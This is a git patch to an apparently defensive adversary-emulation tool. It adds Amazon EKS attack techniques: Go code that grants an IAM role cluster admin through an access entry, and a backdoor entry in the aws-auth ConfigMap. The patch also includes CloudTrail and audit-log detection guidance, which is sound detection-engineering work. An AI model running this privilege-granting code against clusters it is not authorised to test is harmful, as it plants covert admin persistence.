From c34afc0842f2f36576306f915a26db09df9a9440 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Thu, 25 Jul 2024 14:27:46 +0200 Subject: [PATCH] Implement initial EKS support and first attack techniques (#542) * Implement initial EKS support and first attack technique (closes #374, #540) * Add new EKS attack technique: backdoor EKS aws-auth configmap (closes #375) * Bump AWS Go SDK * Bump Go version from 1.18 to 1.19 * Update docs * Replace io/ioutil with io due to the bump to Go 1.19 --- .github/workflows/release.yml | 2 +- .github/workflows/static-analysis.yml | 2 +- .github/workflows/test.yml | 2 +- README.md | 2 +- ...ks.lateral-movement.create-access-entry.md | 85 +++++++++ ...persistence.backdoor-aws-auth-configmap.md | 71 +++++++ docs/attack-techniques/EKS/index.md | 20 ++ docs/attack-techniques/list.md | 2 + docs/attack-techniques/supported-platforms.md | 2 +- docs/index.yaml | 27 +++ docs/user-guide/getting-started.md | 13 +- v2/go.mod | 12 +- v2/go.sum | 20 +- .../persistence/lambda-overwrite-code/main.go | 4 +- .../create-access-entry/main.go | 140 ++++++++++++++ .../create-access-entry/main.tf | 48 +++++ .../backdoor-aws-auth-configmap/main.go | 179 ++++++++++++++++++ .../backdoor-aws-auth-configmap/main.tf | 48 +++++ v2/internal/attacktechniques/main.go | 2 + v2/internal/providers/eks.go | 72 +++++++ v2/pkg/stratus/platform.go | 5 + v2/pkg/stratus/providers.go | 18 ++ 22 files changed, 751 insertions(+), 25 deletions(-) create mode 100755 docs/attack-techniques/EKS/eks.lateral-movement.create-access-entry.md create mode 100755 docs/attack-techniques/EKS/eks.persistence.backdoor-aws-auth-configmap.md create mode 100755 docs/attack-techniques/EKS/index.md create mode 100644 v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.go create mode 100644 v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.tf create mode 100644 v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.go create mode 100644 v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.tf create mode 100644 v2/internal/providers/eks.go diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index f5fc64fa2..6aa7203b2 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -41,7 +41,7 @@ jobs: - name: Set up Go uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 with: - go-version: 1.18 + go-version: 1.19 - name: Run GoReleaser timeout-minutes: 60 uses: goreleaser/goreleaser-action@c21f56a7bc891b5f73bec61233c4102ef8273150 # v5.0.0 diff --git a/.github/workflows/static-analysis.yml b/.github/workflows/static-analysis.yml index b42f9919d..183b3f38f 100644 --- a/.github/workflows/static-analysis.yml +++ b/.github/workflows/static-analysis.yml @@ -36,7 +36,7 @@ jobs: - name: Set up Go uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 with: - go-version: 1.18 + go-version: 1.19 - uses: dominikh/staticcheck-action@ba605356b4b29a60e87ab9404b712f3461e566dc with: version: "2022.1" diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 0752d441c..0909f76ed 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -34,7 +34,7 @@ jobs: - name: Set up Go uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 with: - go-version: 1.18 + go-version: 1.19 - name: Run unit tests run: make test diff --git a/README.md b/README.md index d3dffd104..084017371 100644 --- a/README.md +++ b/README.md @@ -33,7 +33,7 @@ See the documentation at **[stratus-red-team.cloud](https://stratus-red-team.clo ### Direct install -Requires Go 1.18+ +Requires Go 1.19+ ``` go install -v github.com/datadog/stratus-red-team/v2/cmd/stratus@latest diff --git a/docs/attack-techniques/EKS/eks.lateral-movement.create-access-entry.md b/docs/attack-techniques/EKS/eks.lateral-movement.create-access-entry.md new file mode 100755 index 000000000..d50c5baa6 --- /dev/null +++ b/docs/attack-techniques/EKS/eks.lateral-movement.create-access-entry.md @@ -0,0 +1,85 @@ +--- +title: Create Admin EKS Access Entry +--- + +# Create Admin EKS Access Entry + + + + +Platform: EKS + +## MITRE ATT&CK Tactics + + +- Lateral Movement + +## Description + + +Uses the EKS Cluster Access Management to assign cluster administrator privileges to an IAM role. This allows the role to perform any action inside the Kubernetes cluster. + +Warm-up: + +- Create an IAM role + +Detonation: + +- Create an access entry for the IAM role +- Associate the access entry with the AmazonEKSClusterAdminPolicy access policy + +References: + +- https://securitylabs.datadoghq.com/articles/eks-cluster-access-management-deep-dive/ +- https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate eks.lateral-movement.create-access-entry +``` +## Detection + + +You can use the following CloudTrail events to identify when someone grants access to your EKS cluster: + +- **CreateAccessEntry**, when someone creates an access entry for a principal (meaning it's the first this principal is granted privileges in the cluster)': + +```json +{ + "eventSource": "eks.amazonaws.com", + "eventName": "CreateAccessEntry", + "requestParameters": { + "name": "eks-cluster", + "principalArn": "arn:aws:iam::012345678901:role/stratus-red-team-eks-create-access-entry-role" + }, + "responseElements": { + "accessEntry": { + "clusterName": "eks-cluster", + "type": "STANDARD", + "principalArn": "arn:aws:iam::012345678901:role/stratus-red-team-eks-create-access-entry-role", + } + } +} +``` + + +- **AssociateAccessPolicy**: when someone assigns an access policy to a principal + +```json +{ + "eventSource": "eks.amazonaws.com", + "eventName": "AssociateAccessPolicy", + "requestParameters": { + "policyArn": "arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy", + "accessScope": { + "type": "cluster" + }, + "name": "eks-cluster", + "principalArn": "arn%3Aaws%3Aiam%3A%3A012345678901%3Arole%2Fstratus-red-team-eks-create-access-entry-role" + } +} +``` + + diff --git a/docs/attack-techniques/EKS/eks.persistence.backdoor-aws-auth-configmap.md b/docs/attack-techniques/EKS/eks.persistence.backdoor-aws-auth-configmap.md new file mode 100755 index 000000000..cdfae31dc --- /dev/null +++ b/docs/attack-techniques/EKS/eks.persistence.backdoor-aws-auth-configmap.md @@ -0,0 +1,71 @@ +--- +title: Backdoor aws-auth EKS ConfigMap +--- + +# Backdoor aws-auth EKS ConfigMap + + + + +Platform: EKS + +## MITRE ATT&CK Tactics + + +- Persistence +- Privilege Escalation + +## Description + + +Backdoors the aws-auth ConfigMap in an EKS cluster to grant access to the cluster to a specific role. + +Warm-up: + +- Create an IAM role + +Detonation: + +- Add an entry to the aws-auth ConfigMap to grant administrator access to the cluster to the role + +References: + +- https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/#authorization-the-aws-auth-configmap-deprecated +- https://docs.aws.amazon.com/eks/latest/userguide/auth-configmap.html + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate eks.persistence.backdoor-aws-auth-configmap +``` +## Detection + + +Through EKS API Server audit logs, by looking for changes to the aws-auth ConfigMap in the kube-system namespace. Here's what a relevant audit event looks like: + +```json +{ + "objectRef": { + "apiVersion": "v1", + "resource": "configmaps", + "name": "aws-auth" + }, + "requestURI": "/api/v1/namespaces/kube-system/configmaps/aws-auth", + "requestObject": { + "metadata": { + "resourceVersion": "184358280", + "name": "aws-auth", + "namespace": "kube-system", + "creationTimestamp": "2022-07-20T13:13:30Z" + }, + "apiVersion": "v1", + "data": { + "mapRoles": "- groups:\n - system:masters\n rolearn: arn:aws:iam::012345678901:role/account-admin\n username: cluster-admin-{{SessionName}}\n- groups:\n - system:bootstrappers\n - system:nodes\n rolearn: arn:aws:iam::012345678901:role/eksctl-cluser-NodeInstanceRole\n username: system:node:{{EC2PrivateDNSName}}\n- groups:\n - system:masters\n rolearn: arn:aws:iam::012345678901:role/stratus-red-team-eks-backdoor-aws-auth-role\n username: backdoor\n" + }, + "kind": "ConfigMap" + } +} +``` + + diff --git a/docs/attack-techniques/EKS/index.md b/docs/attack-techniques/EKS/index.md new file mode 100755 index 000000000..17114bcfd --- /dev/null +++ b/docs/attack-techniques/EKS/index.md @@ -0,0 +1,20 @@ +# EKS + +This page contains the Stratus attack techniques for EKS, grouped by MITRE ATT&CK Tactic. +Note that some Stratus attack techniques may correspond to more than a single ATT&CK Tactic. + + +## Lateral Movement + +- [Create Admin EKS Access Entry](./eks.lateral-movement.create-access-entry.md) + + +## Persistence + +- [Backdoor aws-auth EKS ConfigMap](./eks.persistence.backdoor-aws-auth-configmap.md) + + +## Privilege Escalation + +- [Backdoor aws-auth EKS ConfigMap](./eks.persistence.backdoor-aws-auth-configmap.md) + diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 0da70d670..aeb9f5006 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -50,6 +50,8 @@ This page contains the list of all Stratus Attack Techniques. | [Execute Command on Virtual Machine using Custom Script Extension](./azure/azure.execution.vm-custom-script-extension.md) | [Azure](./azure/index.md) | Execution | | [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution | | [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration | +| [Create Admin EKS Access Entry](./EKS/eks.lateral-movement.create-access-entry.md) | [EKS](./EKS/index.md) | Lateral Movement | +| [Backdoor aws-auth EKS ConfigMap](./EKS/eks.persistence.backdoor-aws-auth-configmap.md) | [EKS](./EKS/index.md) | Persistence, Privilege Escalation | | [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration | | [Exfiltrate Compute Image by sharing it](./GCP/gcp.exfiltration.share-compute-image.md) | [GCP](./GCP/index.md) | Exfiltration | | [Exfiltrate Compute Disk by sharing a snapshot](./GCP/gcp.exfiltration.share-compute-snapshot.md) | [GCP](./GCP/index.md) | Exfiltration | diff --git a/docs/attack-techniques/supported-platforms.md b/docs/attack-techniques/supported-platforms.md index 66b1b15dc..19bbb85d6 100644 --- a/docs/attack-techniques/supported-platforms.md +++ b/docs/attack-techniques/supported-platforms.md @@ -1,4 +1,4 @@ # Supported Platforms -Stratus Red Team currently supports AWS, Azure, GCP and Kubernetes. +Stratus Red Team currently supports AWS, Azure, GCP, Kubernetes, and Amazon EKS. See [Connecting to your cloud account](https://stratus-red-team.cloud/user-guide/getting-started/#connecting-to-your-cloud-account) for setup instructions. \ No newline at end of file diff --git a/docs/index.yaml b/docs/index.yaml index cdb2d5a34..c4c21c32b 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -329,6 +329,33 @@ AWS: - Privilege Escalation platform: AWS isIdempotent: false +EKS: + Lateral Movement: + - id: eks.lateral-movement.create-access-entry + name: Create Admin EKS Access Entry + isSlow: false + mitreAttackTactics: + - Lateral Movement + platform: EKS + isIdempotent: false + Persistence: + - id: eks.persistence.backdoor-aws-auth-configmap + name: Backdoor aws-auth EKS ConfigMap + isSlow: false + mitreAttackTactics: + - Persistence + - Privilege Escalation + platform: EKS + isIdempotent: false + Privilege Escalation: + - id: eks.persistence.backdoor-aws-auth-configmap + name: Backdoor aws-auth EKS ConfigMap + isSlow: false + mitreAttackTactics: + - Persistence + - Privilege Escalation + platform: EKS + isIdempotent: false GCP: Exfiltration: - id: gcp.exfiltration.share-compute-disk diff --git a/docs/user-guide/getting-started.md b/docs/user-guide/getting-started.md index e77a5f6e3..fc820cfd6 100644 --- a/docs/user-guide/getting-started.md +++ b/docs/user-guide/getting-started.md @@ -2,7 +2,7 @@ ## Installation -Direct install (required Go 1.18+): +Direct install (required Go 1.19+): ``` go install -v github.com/datadog/stratus-red-team/v2/cmd/stratus@latest @@ -94,7 +94,7 @@ For more information, see [Usage](./usage.md), [Examples](./examples.md) and the ## Connecting to your cloud account -Stratus Red Team currently supports AWS and Kubernetes. +Stratus Red Team currently supports AWS, Azure, Kubernetes, and Amazon EKS. !!! warning @@ -108,6 +108,15 @@ In order to use Stratus attack techniques against AWS, you need to be authentica - Using static credentials in `~/.aws/config`, and setting your desired AWS profile using `export AWS_PROFILE=my-profile` +### EKS + +Stratus Red Team does **not** create an EKS cluster for you. It assumes you're already authenticated to an EKS cluster. + +To use Stratus attack techniques against Amazon EKS, you need to be authenticated against AWS, as described above. Stratus Red Team will use the current AWS credentials and Kubernetes context to interact with the EKS cluster. It will check that the Kubernetes cluster you're connected to is an EKS cluster, and refuse to run otherwise. + +- Authenticate to AWS (for instance, using [`aws-vault`](https://github.com/99designs/aws-vault)) +- Run `aws eks update-kubeconfig --name your-cluster-name --region your-region` to update your `~/.kube/config` file with the EKS cluster configuration + ### Azure - Use the [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) to authenticate against your Azure tenant: diff --git a/v2/go.mod b/v2/go.mod index 4097ce91f..1df798571 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -1,6 +1,6 @@ module github.com/datadog/stratus-red-team/v2 -go 1.18 +go 1.19 require ( cloud.google.com/go/compute v1.10.0 @@ -8,13 +8,14 @@ require ( github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.1.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute v1.0.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.0.0 - github.com/aws/aws-sdk-go-v2 v1.26.1 + github.com/aws/aws-sdk-go-v2 v1.30.3 github.com/aws/aws-sdk-go-v2/config v1.25.11 github.com/aws/aws-sdk-go-v2/credentials v1.16.9 github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.15.4 github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.35.2 github.com/aws/aws-sdk-go-v2/service/ec2 v1.138.2 github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect v1.20.6 + github.com/aws/aws-sdk-go-v2/service/eks v1.46.0 github.com/aws/aws-sdk-go-v2/service/iam v1.28.2 github.com/aws/aws-sdk-go-v2/service/lambda v1.49.2 github.com/aws/aws-sdk-go-v2/service/organizations v1.23.2 @@ -24,10 +25,9 @@ require ( github.com/aws/aws-sdk-go-v2/service/s3 v1.47.2 github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.25.2 github.com/aws/aws-sdk-go-v2/service/ses v1.22.4 - github.com/aws/aws-sdk-go-v2/service/sesv2 v1.27.3 github.com/aws/aws-sdk-go-v2/service/ssm v1.44.2 github.com/aws/aws-sdk-go-v2/service/sts v1.26.2 - github.com/aws/smithy-go v1.20.2 + github.com/aws/smithy-go v1.20.3 github.com/cenkalti/backoff/v4 v4.2.1 github.com/fatih/color v1.13.0 github.com/golang-jwt/jwt v3.2.2+incompatible @@ -51,8 +51,8 @@ require ( github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.5.3 // indirect github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.9 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.5 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.5 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.13 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.13 // indirect github.com/aws/aws-sdk-go-v2/internal/ini v1.7.1 // indirect github.com/aws/aws-sdk-go-v2/internal/v4a v1.2.8 // indirect github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.3 // indirect diff --git a/v2/go.sum b/v2/go.sum index 49b86f7e0..688667a0a 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -34,8 +34,8 @@ github.com/apparentlymart/go-textseg v1.0.0/go.mod h1:z96Txxhf3xSFMPmb5X/1W05FF/ github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= -github.com/aws/aws-sdk-go-v2 v1.26.1 h1:5554eUqIYVWpU0YmeeYZ0wU64H2VLBs8TlhRB2L+EkA= -github.com/aws/aws-sdk-go-v2 v1.26.1/go.mod h1:ffIFB97e2yNsv4aTSGkqtHnppsIJzw7G7BReUZ3jCXM= +github.com/aws/aws-sdk-go-v2 v1.30.3 h1:jUeBtG0Ih+ZIFH0F4UkmL9w3cSpaMv9tYYDbzILP8dY= +github.com/aws/aws-sdk-go-v2 v1.30.3/go.mod h1:nIQjQVp5sfpQcTc9mPSr1B0PaWK5ByX9MOoDadSN4lc= github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.5.3 h1:Zx9+31KyB8wQna6SXFWOewlgoY5uGdDAu6PTOEU3OQI= github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.5.3/go.mod h1:zxbEJhRdKTH1nqS2qu6UJ7zGe25xaHxZXaC2CvuQFnA= github.com/aws/aws-sdk-go-v2/config v1.25.11 h1:RWzp7jhPRliIcACefGkKp03L0Yofmd2p8M25kbiyvno= @@ -46,10 +46,10 @@ github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.9 h1:FZVFahMyZle6WcogZCOxo6D github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.9/go.mod h1:kjq7REMIkxdtcEC9/4BVXjOsNY5isz6jQbEgk6osRTU= github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.15.4 h1:TUCNKBd4/JEefsZDxo5deRmrRRPZHqGyBYiUAeBKOWU= github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.15.4/go.mod h1:egDkcl+zsgFqS6VO142bKboip5Pe1sNMwN55Xy38QsM= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.5 h1:aw39xVGeRWlWx9EzGVnhOR4yOjQDHPQ6o6NmBlscyQg= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.5/go.mod h1:FSaRudD0dXiMPK2UjknVwwTYyZMRsHv3TtkabsZih5I= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.5 h1:PG1F3OD1szkuQPzDw3CIQsRIrtTlUC3lP84taWzHlq0= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.5/go.mod h1:jU1li6RFryMz+so64PpKtudI+QzbKoIEivqdf6LNpOc= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.13 h1:5SAoZ4jYpGH4721ZNoS1znQrhOfZinOhc4XuTXx/nVc= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.13/go.mod h1:+rdA6ZLpaSeM7tSg/B0IEDinCIBJGmW8rKDFkYpP04g= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.13 h1:WIijqeaAO7TYFLbhsZmi2rgLEAtWOC1LhxCAVTJlSKw= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.13/go.mod h1:i+kbfa76PQbWw/ULoWnp51EYVWH4ENln76fLQE3lXT8= github.com/aws/aws-sdk-go-v2/internal/ini v1.7.1 h1:uR9lXYjdPX0xY+NhvaJ4dD8rpSRz5VY81ccIIoNG+lw= github.com/aws/aws-sdk-go-v2/internal/ini v1.7.1/go.mod h1:6fQQgfuGmw8Al/3M2IgIllycxV7ZW7WCdVSqfBeUiCY= github.com/aws/aws-sdk-go-v2/internal/v4a v1.2.8 h1:abKT+RuM1sdCNZIGIfZpLkvxEX3Rpsto019XG/rkYG8= @@ -60,6 +60,8 @@ github.com/aws/aws-sdk-go-v2/service/ec2 v1.138.2 h1:e3Imv1oXz+W3Tfclflkh72t5TUP github.com/aws/aws-sdk-go-v2/service/ec2 v1.138.2/go.mod h1:d1hAqgLDOPaSO1Piy/0bBmj6oAplFwv6p0cquHntNHM= github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect v1.20.6 h1:Y0pqdpafA8TdG6AalCMFbbQ5SlO99MAybU0BDPLHbwo= github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect v1.20.6/go.mod h1:y6fUhf01cjz+VUz+zrmJh3KfIXhefV7dS4STCxgHx7g= +github.com/aws/aws-sdk-go-v2/service/eks v1.46.0 h1:ZPhHHZtAjVohIGIVjXECPfljcPOQ+hjZ1IpgvjPTJ50= +github.com/aws/aws-sdk-go-v2/service/eks v1.46.0/go.mod h1:p4Yk0zfWEoLvvQ4V6XZrTmAAPzcevNnEsbUR82NAY0w= github.com/aws/aws-sdk-go-v2/service/iam v1.28.2 h1:lax3msAOJ99KL6k9YHehZPZqfxJ7+uFXvtpFWNBgPEo= github.com/aws/aws-sdk-go-v2/service/iam v1.28.2/go.mod h1:KJbw+8r7gZfjF+OewOVhyEQKiJXJ/OM1F1r3aAvKS9M= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.3 h1:e3PCNeEaev/ZF01cQyNZgmYE9oYYePIMJs2mWSKG514= @@ -86,8 +88,6 @@ github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.25.2 h1:JKbfiLwEqJp8zaOAO github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.25.2/go.mod h1:pbBOMK8UicdDK11zsPSGbpFh9Xwbd1oD3t7pSxXgNxU= github.com/aws/aws-sdk-go-v2/service/ses v1.22.4 h1:MNU3UWV47ylAAdlU+VxuyItYfuGGp00MvCBxdVAI3kM= github.com/aws/aws-sdk-go-v2/service/ses v1.22.4/go.mod h1:M/ZQn5uXL4BP1qolIWrlN2SeoUFngJtU/oCwR4WOfZU= -github.com/aws/aws-sdk-go-v2/service/sesv2 v1.27.3 h1:8KP71cUPALMQxs8lhGiWcwdtqv1wsogigS7StDHq0IE= -github.com/aws/aws-sdk-go-v2/service/sesv2 v1.27.3/go.mod h1:WIpmp3q5Iw1AEhotd5OL03OFc0kOUoLPcqKFzcAOImU= github.com/aws/aws-sdk-go-v2/service/ssm v1.44.2 h1:lmdmYCvG1EJKGLEsUsYDNO6MwZyBZROrRg04Vrb5TwA= github.com/aws/aws-sdk-go-v2/service/ssm v1.44.2/go.mod h1:pHJ1md/3F3WkYfZ4JKOllPfXQi4NiWk7NxbeOD53HQc= github.com/aws/aws-sdk-go-v2/service/sso v1.18.2 h1:xJPydhNm0Hiqct5TVKEuHG7weC0+sOs4MUnd7A5n5F4= @@ -96,8 +96,8 @@ github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.2 h1:8dU9zqA77C5egbU6yd4hFLai github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.2/go.mod h1:7Lt5mjQ8x5rVdKqg+sKKDeuwoszDJIIPmkd8BVsEdS0= github.com/aws/aws-sdk-go-v2/service/sts v1.26.2 h1:fFrLsy08wEbAisqW3KDl/cPHrF43GmV79zXB9EwJiZw= github.com/aws/aws-sdk-go-v2/service/sts v1.26.2/go.mod h1:7Ld9eTqocTvJqqJ5K/orbSDwmGcpRdlDiLjz2DO+SL8= -github.com/aws/smithy-go v1.20.2 h1:tbp628ireGtzcHDDmLT/6ADHidqnwgF57XOXZe6tp4Q= -github.com/aws/smithy-go v1.20.2/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= +github.com/aws/smithy-go v1.20.3 h1:ryHwveWzPV5BIof6fyDvor6V3iUL7nTfiTKXHiW05nE= +github.com/aws/smithy-go v1.20.3/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= github.com/cenkalti/backoff/v4 v4.2.1 h1:y4OZtCnogmCPw98Zjyt5a6+QwPLGkiQsYW5oUqylYbM= github.com/cenkalti/backoff/v4 v4.2.1/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= diff --git a/v2/internal/attacktechniques/aws/persistence/lambda-overwrite-code/main.go b/v2/internal/attacktechniques/aws/persistence/lambda-overwrite-code/main.go index 7e7067c06..3136520cb 100644 --- a/v2/internal/attacktechniques/aws/persistence/lambda-overwrite-code/main.go +++ b/v2/internal/attacktechniques/aws/persistence/lambda-overwrite-code/main.go @@ -9,7 +9,7 @@ import ( "github.com/aws/aws-sdk-go-v2/service/lambda" "github.com/datadog/stratus-red-team/v2/pkg/stratus" "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" - "io/ioutil" + "io" "log" "strings" ) @@ -57,7 +57,7 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error log.Println("Updating the code of Lambda function " + functionName) - zipFile, err := ioutil.ReadAll(base64.NewDecoder(base64.StdEncoding, strings.NewReader(zip))) + zipFile, err := io.ReadAll(base64.NewDecoder(base64.StdEncoding, strings.NewReader(zip))) if err != nil { return errors.New("unable to decode the payload to overwrite the code with: " + err.Error()) } diff --git a/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.go b/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.go new file mode 100644 index 000000000..c23f24656 --- /dev/null +++ b/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.go @@ -0,0 +1,140 @@ +package eks + +import ( + "context" + _ "embed" + "fmt" + "github.com/aws/aws-sdk-go-v2/aws" + "github.com/aws/aws-sdk-go-v2/service/eks" + "github.com/aws/aws-sdk-go-v2/service/eks/types" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + "log" +) + +//go:embed main.tf +var tf []byte + +// https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html +const ClusterAccessPolicyName = "AmazonEKSClusterAdminPolicy" +const ClusterAccessPolicyARN = "arn:aws:eks::aws:cluster-access-policy/" + ClusterAccessPolicyName + +func init() { + const codeBlock = "```" + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "eks.lateral-movement.create-access-entry", + FriendlyName: "Create Admin EKS Access Entry", + + Description: ` +Uses the EKS Cluster Access Management to assign cluster administrator privileges to an IAM role. This allows the role to perform any action inside the Kubernetes cluster. + +Warm-up: + +- Create an IAM role + +Detonation: + +- Create an access entry for the IAM role +- Associate the access entry with the ` + ClusterAccessPolicyName + ` access policy + +References: + +- https://securitylabs.datadoghq.com/articles/eks-cluster-access-management-deep-dive/ +- https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html +`, + Detection: ` +You can use the following CloudTrail events to identify when someone grants access to your EKS cluster: + +- **CreateAccessEntry**, when someone creates an access entry for a principal (meaning it's the first this principal is granted privileges in the cluster)': + +` + codeBlock + `json +{ + "eventSource": "eks.amazonaws.com", + "eventName": "CreateAccessEntry", + "requestParameters": { + "name": "eks-cluster", + "principalArn": "arn:aws:iam::012345678901:role/stratus-red-team-eks-create-access-entry-role" + }, + "responseElements": { + "accessEntry": { + "clusterName": "eks-cluster", + "type": "STANDARD", + "principalArn": "arn:aws:iam::012345678901:role/stratus-red-team-eks-create-access-entry-role", + } + } +} +` + codeBlock + ` + + +- **AssociateAccessPolicy**: when someone assigns an access policy to a principal + +` + codeBlock + `json +{ + "eventSource": "eks.amazonaws.com", + "eventName": "AssociateAccessPolicy", + "requestParameters": { + "policyArn": "arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy", + "accessScope": { + "type": "cluster" + }, + "name": "eks-cluster", + "principalArn": "arn%3Aaws%3Aiam%3A%3A012345678901%3Arole%2Fstratus-red-team-eks-create-access-entry-role" + } +} +` + codeBlock + ` +`, + Platform: stratus.EKS, + PrerequisitesTerraformCode: tf, + IsIdempotent: false, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.LateralMovement}, + Detonate: detonate, + Revert: revert, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + eksProvider := providers.EKS() + eksClient := eks.NewFromConfig(eksProvider.GetAWSConnection()) + roleArn := params["role_arn"] + + log.Println("Using EKS cluster management API to assign administrator privileges to " + roleArn) + + _, err := eksClient.CreateAccessEntry(context.Background(), &eks.CreateAccessEntryInput{ + ClusterName: aws.String(eksProvider.GetEKSClusterName()), + PrincipalArn: &roleArn, + }) + if err != nil { + return fmt.Errorf("failed to create EKS access entry: %w", err) + } + log.Println("Successfully created EKS access entry for role", roleArn) + log.Println("This role is now full EKS cluster admin") + + _, err = eksClient.AssociateAccessPolicy(context.Background(), &eks.AssociateAccessPolicyInput{ + AccessScope: &types.AccessScope{Type: types.AccessScopeTypeCluster}, + ClusterName: aws.String(eksProvider.GetEKSClusterName()), + PolicyArn: aws.String(ClusterAccessPolicyARN), + PrincipalArn: &roleArn, + }) + if err != nil { + return fmt.Errorf("failed to associate EKS access policy to role: %w", err) + } + log.Println("Successfully associated EKS access policy", ClusterAccessPolicyName, "to role", roleArn) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + eksProvider := providers.EKS() + eksClient := eks.NewFromConfig(eksProvider.GetAWSConnection()) + roleArn := params["role_arn"] + + _, err := eksClient.DeleteAccessEntry(context.Background(), &eks.DeleteAccessEntryInput{ + ClusterName: aws.String(eksProvider.GetEKSClusterName()), + PrincipalArn: &roleArn, + }) + if err != nil { + return fmt.Errorf("failed to delete EKS access entry: %w", err) + } + log.Println("Successfully deleted EKS access entry for role ", roleArn) + + return nil +} diff --git a/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.tf b/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.tf new file mode 100644 index 000000000..e73ccec24 --- /dev/null +++ b/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry/main.tf @@ -0,0 +1,48 @@ +terraform { + required_providers { + aws = { + source = 